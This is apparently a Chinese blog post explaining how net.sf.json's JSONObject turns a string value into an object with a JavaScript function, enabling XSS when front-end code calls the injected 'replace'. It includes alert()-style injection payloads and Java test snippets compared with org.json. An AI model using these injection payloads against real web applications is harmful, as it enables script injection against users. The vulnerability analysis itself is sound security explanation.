JSONObject输出json串可引发XSS

测试用的是net.sf.json.JSONObject,大家也可以去试试其他JSONObject。

    JSONObject
     json 
    =
     
    null
    ;
    
json 
    =
     
    new
     
    JSONObject
    ();
    
json
    .
    put
    (
    "code"
    ,
     
    200
    );
    
json
    .
    put
    (
    "info"
    ,
     
    "tester"
    );
    
json
    .
    put
    (
    "msg"
    ,
     
    "success"
    );
    

    System
    .
    out
    .
    println
    (
    json
    );
    

    // 输出:{"code":200,"info":"tester","msg":"success"}
  

在这里info是一个String,所以,很多前端工程师可能会选择使用Stirng.replace方法转义or过滤特殊字符。

如果在info中注入{‘replace’:function(){alert(/xss/)}}呢?

    json 
    =
     
    new
     
    JSONObject
    ();
    
json
    .
    put
    (
    "code"
    ,
     
    200
    );
    
json
    .
    put
    (
    "info"
    ,
     
    "{'replace':function(){alert(/xss/)}}"
    );
    
json
    .
    put
    (
    "msg"
    ,
     
    "success"
    );
    

    System
    .
    out
    .
    println
    (
    json
    );
    

    // 输出:{"code":200,"info":{"replace":function(){ alert(/xss/) }},"msg":"success"}
  

JSONObject在输出json串时,info会作为对象输出,并且其中嵌入replace方法,js在使用replace方法转义过滤时,也就调用了嵌入的replace方法。

可以根据不同的场景把info构造成不同的对象,也可以构造成数组[function(){alert(/xss/)}] 或者 简单的函数 function(){alert(/xss/)}

NOTE:这种方式在jQuery中行不通,jQuery会对json串的格式做检查,一般的ajax,还有jsonp可能会存在这种xss问题。

net.sf.json代码片段:

          
  1. import net . sf . json . JSONObject ;
  2. public class Test {
  3. public static void main ( String [] args ) {
  4. JSONObject json = new JSONObject ();
  5. json . put (“ key ”, “{‘ replace ’: function (){ alert (/ xss /)}}”);
  6. System . out . println ( json );
  7. System . out . println ((( JSONObject ) json . get (“ key ”)). get (“ replace ”));
  8. }
  9. }
  10. org . json 代码片段:
  11. import org . json . JSONException ;
  12. import org . json . JSONObject ;
  13. public class Test {
  14. public static void main ( String [] args ) throws JSONException {
  15. JSONObject json = new JSONObject ();
  16. json . put (“ key ”, “{‘ replace ’: function (){ alert (/ xss /)}}”);
  17. System . out . println ( json );
  18. System . out . println ((( JSONObject ) json . get (“ key ”)). get (“ replace ”));
  19. }
  20. }

使用net.sf.json输出结果是:

{"key":{"replace":function(){ alert(/xss/) }}}
function(){ alert(/xss/) }

[/code]

这里net.sf.json的value实际是一个JSONObject对象,所以还可以调用注入value中JSONObject对象,这是net.sf.json正常的嵌套功能,但是它不符合js json的标准

使用org.json输出结果是:

[code]

{"key":"{'replace':function(){alert(/xss/)}}"}
Exception in thread "main" java.lang.ClassCastException: java.lang.String cannot be cast to org.json.JSONObject
at Test.main(Test.java:20)

org.json是符合js json标准的,它的value就是个String,cast成JSONObject就报异常了.

其实就是个net.sf.json的json与js json输出标准不一样造成的,从而可以控制输出端的内容,通过构造在前端做某些js函数操作时,其内容会被当成js语句块执行,就是上面的xss了

那为什么不用org.json,要用net.sf.json了?因为net.sf.json更为强大(比如:多层嵌套(类似迭代器),javabean转换等)